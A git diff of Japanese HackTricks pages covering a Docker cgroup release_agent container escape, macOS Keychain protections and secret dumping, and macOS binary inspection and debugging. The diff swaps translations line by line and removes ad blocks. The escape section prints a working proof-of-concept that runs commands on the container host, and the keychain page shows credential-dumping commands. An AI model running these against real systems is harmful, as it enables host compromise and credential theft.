{% hint style="success" %}
|
||||
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**詳細については、** [**元のブログ投稿**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**詳細については、** [**元のブログ投稿**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です:
|
||||
|
||||
元のPoC:
|
||||
Original PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
|
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Proof of Concept(PoC)は、`release_agent`ファイルを作成し、その呼び出しをトリガーして、コンテナホストで任意のコマンドを実行する方法を示しています。以下は、関連する手順の概要です:
|
||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||
|
||||
1. **環境の準備:**
|
||||
* `/tmp/cgrp`ディレクトリを作成して、cgroupのマウントポイントとして使用します。
|
||||
* RDMA cgroupコントローラをこのディレクトリにマウントします。RDMAコントローラが存在しない場合は、代替として`memory` cgroupコントローラを使用することが推奨されています。
|
||||
* `/tmp/cgrp`というディレクトリが作成され、cgroupのマウントポイントとして使用されます。
|
||||
* RDMA cgroupコントローラーがこのディレクトリにマウントされます。RDMAコントローラーが存在しない場合は、代わりに`memory` cgroupコントローラーを使用することが推奨されます。
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **子Cgroupの設定:**
|
||||
- マウントされたcgroupディレクトリ内に名前が"x"の子Cgroupが作成されます。
|
||||
- "x"のCgroupに通知を有効にするために、そのnotify\_on\_releaseファイルに1を書き込みます。
|
||||
* マウントされたCgroupディレクトリ内に「x」という名前の子Cgroupが作成されます。
|
||||
* 「x」Cgroupのnotify\_on\_releaseファイルに1を書き込むことで通知が有効になります。
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **リリースエージェントの設定:**
|
||||
* ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。
|
||||
* 次に、cgroupの release\_agent ファイルが取得したホストパスにある /cmd というスクリプトを実行するように設定されます。
|
||||
* ホスト上のコンテナのパスは、/etc/mtabファイルから取得されます。
|
||||
* 次に、cgroupのrelease\_agentファイルが、取得したホストパスにある/cmdという名前のスクリプトを実行するように設定されます。
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **/cmdスクリプトの作成と設定:**
|
||||
* /cmdスクリプトはコンテナ内で作成され、ps auxを実行し、出力をコンテナ内の/outputという名前のファイルにリダイレクトするように構成されます。ホスト上の/outputのフルパスが指定されます。
|
||||
4. **/cmd スクリプトの作成と設定:**
|
||||
* /cmd スクリプトはコンテナ内に作成され、ps aux を実行するように設定され、出力はコンテナ内の /output という名前のファイルにリダイレクトされます。ホスト上の /output の完全なパスが指定されます。
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **攻撃のトリガー:**
|
||||
* "x"の子cgroup内でプロセスが開始され、すぐに終了します。
|
||||
* これにより`release_agent`(/cmdスクリプト)がトリガーされ、ホストでps auxを実行し、出力をコンテナ内の/outputに書き込みます。
|
||||
5. **攻撃をトリガーする:**
|
||||
* "x" 子 cgroup 内でプロセスが開始され、すぐに終了します。
|
||||
* これにより `release_agent`(/cmd スクリプト)がトリガーされ、ホスト上で ps aux を実行し、その出力をコンテナ内の /output に書き込みます。
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と実践:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Main Keychains
|
||||
|
||||
|
@ -36,13 +23,13 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
### Password Keychain Access
|
||||
|
||||
これらのファイルは、固有の保護がなく**ダウンロード**可能ですが、暗号化されており、復号化するためには**ユーザーの平文パスワード**が必要です。復号化には[**Chainbreaker**](https://github.com/n0fate/chainbreaker)のようなツールが使用できます。
|
||||
これらのファイルは、固有の保護がなく、**ダウンロード**可能ですが、暗号化されており、**復号化するためにユーザーの平文パスワードが必要**です。復号化には[**Chainbreaker**](https://github.com/n0fate/chainbreaker)のようなツールが使用できます。
|
||||
|
||||
## Keychain Entries Protections
|
||||
|
||||
### ACLs
|
||||
|
||||
キーチェーンの各エントリは、さまざまなアクションを実行できる人を規定する**アクセス制御リスト (ACL)** によって管理されています。これには以下が含まれます:
|
||||
キーチェーン内の各エントリは、さまざまなアクションを実行できる人を規定する**アクセス制御リスト(ACL)**によって管理されています。これには以下が含まれます:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: 秘密のクリアテキストを取得することを許可します。
|
||||
* **ACLAuhtorizationExportWrapped**: 他の提供されたパスワードで暗号化されたクリアテキストを取得することを許可します。
|
||||
|
@ -56,13 +43,13 @@ ACLは、これらのアクションをプロンプトなしで実行できる**
|
|||
|
||||
また、エントリには**`ACLAuthorizationPartitionID`**というキーが含まれている場合があり、これは**teamid、apple、**および**cdhash**を識別するために使用されます。
|
||||
|
||||
* **teamid**が指定されている場合、**プロンプトなしで**エントリの値に**アクセスする**ためには、使用されるアプリケーションが**同じteamid**を持っている必要があります。
|
||||
* **teamid**が指定されている場合、**プロンプトなしで**エントリの値に**アクセスする**には、使用されるアプリケーションが**同じteamid**を持っている必要があります。
|
||||
* **apple**が指定されている場合、アプリは**Apple**によって**署名**されている必要があります。
|
||||
* **cdhash**が示されている場合、**アプリ**は特定の**cdhash**を持っている必要があります。
|
||||
|
||||
### Creating a Keychain Entry
|
||||
|
||||
**`Keychain Access.app`**を使用して**新しい**エントリが作成されると、以下のルールが適用されます:
|
||||
**`Keychain Access.app`**を使用して**新しい**エントリを作成する際には、以下のルールが適用されます:
|
||||
|
||||
* すべてのアプリが暗号化できます。
|
||||
* **アプリは**エクスポート/復号化できません(ユーザーにプロンプトなしで)。
|
||||
|
@ -70,7 +57,7 @@ ACLは、これらのアクションをプロンプトなしで実行できる**
|
|||
* アプリはACLを変更できません。
|
||||
* **partitionID**は**`apple`**に設定されます。
|
||||
|
||||
**アプリケーションがキーチェーンにエントリを作成する**場合、ルールは少し異なります:
|
||||
アプリケーションがキーチェーンにエントリを作成する場合、ルールは少し異なります:
|
||||
|
||||
* すべてのアプリが暗号化できます。
|
||||
* **作成アプリケーション**(または明示的に追加された他のアプリ)のみがエクスポート/復号化できます(ユーザーにプロンプトなしで)。
|
||||
|
@ -100,7 +87,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
**キーチェーンの列挙と秘密のダンプ**は、**プロンプトを生成しない**ものを[**LockSmith**](https://github.com/its-a-feature/LockSmith)というツールで行うことができます。
|
||||
**キーチェーンの列挙と秘密のダンプ**は、**プロンプトを生成しない**もので、ツール[**LockSmith**](https://github.com/its-a-feature/LockSmith)を使用して行うことができます。
|
||||
{% endhint %}
|
||||
|
||||
各キーチェーンエントリについて**情報**をリストし取得します:
|
||||
|
@ -132,7 +119,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
* 適切な**認可**が必要です(**`Nil`**、または秘密情報にアクセスするための認可リストに**含まれている**必要があります)
|
||||
* コード署名が**PartitionID**と一致する必要があります
|
||||
* コード署名が1つの**信頼されたアプリ**のものと一致する必要があります(または正しいKeychainAccessGroupのメンバーである必要があります)
|
||||
* **すべてのアプリケーションが信頼されている場合**:
|
||||
* **すべてのアプリケーションが信頼されている**場合:
|
||||
* 適切な**認可**が必要です
|
||||
* コード署名が**PartitionID**と一致する必要があります
|
||||
* **PartitionID**がない場合、これは必要ありません
|
||||
|
@ -140,7 +127,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
{% hint style="danger" %}
|
||||
したがって、**1つのアプリケーションがリストされている**場合、そのアプリケーションに**コードを注入する**必要があります。
|
||||
|
||||
**apple**が**partitionID**に示されている場合、**`osascript`**を使用してアクセスできるため、partitionIDにappleを含むすべてのアプリケーションを信頼するものです。**`Python`**もこれに使用できます。
|
||||
**apple**が**partitionID**に示されている場合、**`osascript`**を使用してアクセスできるため、partitionIDにappleを含むすべてのアプリケーションを信頼することができます。**`Python`**もこれに使用できます。
|
||||
{% endhint %}
|
||||
|
||||
### 2つの追加属性
|
||||
|
@ -153,17 +140,6 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -174,8 +150,8 @@ GCPハッキングを学び、練習する:<img src="../../.gitbook/assets/grt
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に、または**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,22 @@
|
|||
# macOS Apps - Inspecting, debugging and Fuzzing
|
||||
# macOSアプリ - 検査、デバッグ、ファジング
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、企業やその顧客が **stealer malwares** によって **compromised** されているかどうかを確認するための **無料** 機能を提供する **ダークウェブ** に基づいた検索エンジンです。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Static Analysis
|
||||
## 静的分析
|
||||
|
||||
### otool & objdump & nm
|
||||
```bash
|
||||
|
@ -51,7 +38,7 @@ nm -m ./tccd # List of symbols
|
|||
```
|
||||
### jtool2 & Disarm
|
||||
|
||||
あなたは[**ここから disarm をダウンロードできます**](https://newosxbook.com/tools/disarm.html)。
|
||||
ここから[**disarmをダウンロードできます**](https://newosxbook.com/tools/disarm.html)。
|
||||
```bash
|
||||
ARCH=arm64e disarm -c -i -I --signature /path/bin # Get bin info and signature
|
||||
ARCH=arm64e disarm -c -l /path/bin # Get binary sections
|
||||
|
@ -60,7 +47,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...)
|
|||
ARCH=arm64e disarm -c -d /path/bin # Get disasembled
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info
|
||||
```
|
||||
ここから[**jtool2をダウンロード**](http://www.newosxbook.com/tools/jtool.html)するか、`brew`を使ってインストールできます。
|
||||
ここから[**jtool2をダウンロードできます**](http://www.newosxbook.com/tools/jtool.html) または `brew` を使ってインストールできます。
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
|
@ -115,11 +102,11 @@ ldid -S/tmp/entl.xml <binary>
|
|||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) は、**.pkg** ファイル(インストーラー)を検査し、インストールする前にその内容を確認するのに役立つツールです。\
|
||||
これらのインストーラーには、マルウェア作成者が通常悪用する `preinstall` および `postinstall` bash スクリプトがあります。これにより、**マルウェア**を**持続**させることができます。
|
||||
これらのインストーラーには、マルウェア作成者が通常悪用する `preinstall` および `postinstall` bash スクリプトがあります。
|
||||
|
||||
### hdiutil
|
||||
|
||||
このツールは、Apple のディスクイメージ(**.dmg**)ファイルを**マウント**して、何かを実行する前に検査することを可能にします:
|
||||
このツールは、Apple のディスクイメージ(**.dmg**)ファイルを**マウント**して、何かを実行する前にそれらを検査することを可能にします:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
@ -144,7 +131,7 @@ Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-fil
|
|||
* インターフェースインスタンス変数
|
||||
* 定義されたプロトコル
|
||||
|
||||
これらの名前は、バイナリのリバースエンジニアリングを難しくするために難読化される可能性があることに注意してください。
|
||||
これらの名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があることに注意してください。
|
||||
|
||||
### Function calling
|
||||
|
||||
|
@ -158,7 +145,7 @@ Objective-Cを使用するバイナリで関数が呼び出されると、コン
|
|||
* 2番目のパラメータ(**op**)は「メッセージを処理するメソッドのセレクタ」です。再度、簡単に言えば、これは単に**メソッドの名前**です。
|
||||
* 残りのパラメータは、メソッド(op)によって必要とされる**値**です。
|
||||
|
||||
この情報を**ARM64で`lldb`を使って簡単に取得する方法**をこのページで確認してください:
|
||||
この情報を**`lldb`を使用してARM64で簡単に取得する方法**については、このページを参照してください:
|
||||
|
||||
{% content-ref url="arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](arm64-basic-assembly.md)
|
||||
|
@ -236,11 +223,11 @@ swift demangle
|
|||
## 動的分析
|
||||
|
||||
{% hint style="warning" %}
|
||||
バイナリをデバッグするには、**SIPを無効にする必要があります**(`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーし、`codesign --remove-signature <binary-path>`で**署名を削除する**か、バイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。
|
||||
バイナリをデバッグするには、**SIPを無効にする必要があります**(`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーして**署名を削除する**必要があります(`codesign --remove-signature <binary-path>`)またはバイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
macOSで**システムバイナリ**(例えば`cloudconfigurationd`)を**計測する**には、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
|
||||
macOSで**システムバイナリ**(例えば`cloudconfigurationd`)を**計測**するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
|
||||
{% endhint %}
|
||||
|
||||
### API
|
||||
|
@ -252,25 +239,25 @@ macOSはプロセスに関する情報を提供するいくつかの興味深い
|
|||
|
||||
### スタックショットとマイクロスタックショット
|
||||
|
||||
**スタックショット**は、プロセスの状態をキャプチャするための技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するのに特に役立ちます。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してスタックショットを実行できます。
|
||||
**スタックショット**は、プロセスの状態をキャプチャするための技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するために特に有用です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してスタックショットを実行できます。
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
このツール(`/usr/bini/ysdiagnose`)は、`ps`、`zprint`などの異なるコマンドを数十個実行して、コンピュータから多くの情報を収集します。
|
||||
このツール(`/usr/bini/ysdiagnose`)は、基本的に`ps`、`zprint`などの異なるコマンドを数十個実行してコンピュータから多くの情報を収集します。
|
||||
|
||||
**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`は、`com.apple.system-task-ports`や`get-task-allow`などの非常に興味深い権限を持っています。
|
||||
**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`は`com.apple.system-task-ports`や`get-task-allow`などの非常に興味深い権限を持っています。
|
||||
|
||||
そのplistは`/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`にあり、3つのMachServicesを宣言しています:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`: /var/rmp内の古いアーカイブを削除します
|
||||
* `com.apple.sysdiagnose.kernel.ipc`: 特殊ポート23(カーネル)
|
||||
* `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数(`compress`、`display`、`run`)を渡すことができます。
|
||||
* `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数を渡すことができます(`compress`、`display`、`run`)
|
||||
|
||||
### 統一ログ
|
||||
|
||||
MacOSは、アプリケーションを実行して**何をしているのか**を理解する際に非常に役立つ多くのログを生成します。
|
||||
|
||||
さらに、いくつかのログには`<private>`タグが含まれ、**ユーザー**または**コンピュータ**の**識別可能**な情報を**隠す**ために使用されます。ただし、**この情報を開示するための証明書をインストールすることが可能です**。詳細は[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)を参照してください。
|
||||
さらに、いくつかのログには`<private>`タグが含まれ、**ユーザー**または**コンピュータ**の**識別可能**な情報を**隠す**ために使用されます。ただし、この情報を開示するための**証明書をインストールすることが可能です**。詳細は[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)を参照してください。
|
||||
|
||||
### Hopper
|
||||
|
||||
|
@ -288,11 +275,11 @@ Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
さらに、**中央下部ではPythonコマンドを入力することができます**。
|
||||
さらに、**中央下部ではPythonコマンドを入力できます**。
|
||||
|
||||
#### 右パネル
|
||||
|
||||
右パネルでは、**ナビゲーション履歴**(現在の状況にどのように到達したかを知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**と、この関数が呼び出すすべての関数を見ることができます)、および**ローカル変数**の情報など、興味深い情報を見ることができます。
|
||||
右パネルでは、**ナビゲーション履歴**(現在の状況にどのように到達したかを知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**とこの関数が呼び出すすべての関数を見ることができる)、および**ローカル変数**の情報などの興味深い情報を見ることができます。
|
||||
|
||||
### dtrace
|
||||
|
||||
|
@ -303,7 +290,7 @@ DTraceは、各システムコールのプローブを作成するために**`dt
|
|||
{% hint style="success" %}
|
||||
SIP保護を完全に無効にせずにDtraceを有効にするには、リカバリモードで次のコマンドを実行できます:`csrutil enable --without dtrace`
|
||||
|
||||
また、**`dtrace`**または**`dtruss`**バイナリを**自分でコンパイルした**ものを使用することもできます。
|
||||
また、**`dtrace`**または**`dtruss`**バイナリを**コンパイルした**ものを使用することもできます。
|
||||
{% endhint %}
|
||||
|
||||
dtraceの利用可能なプローブは次のコマンドで取得できます:
|
||||
|
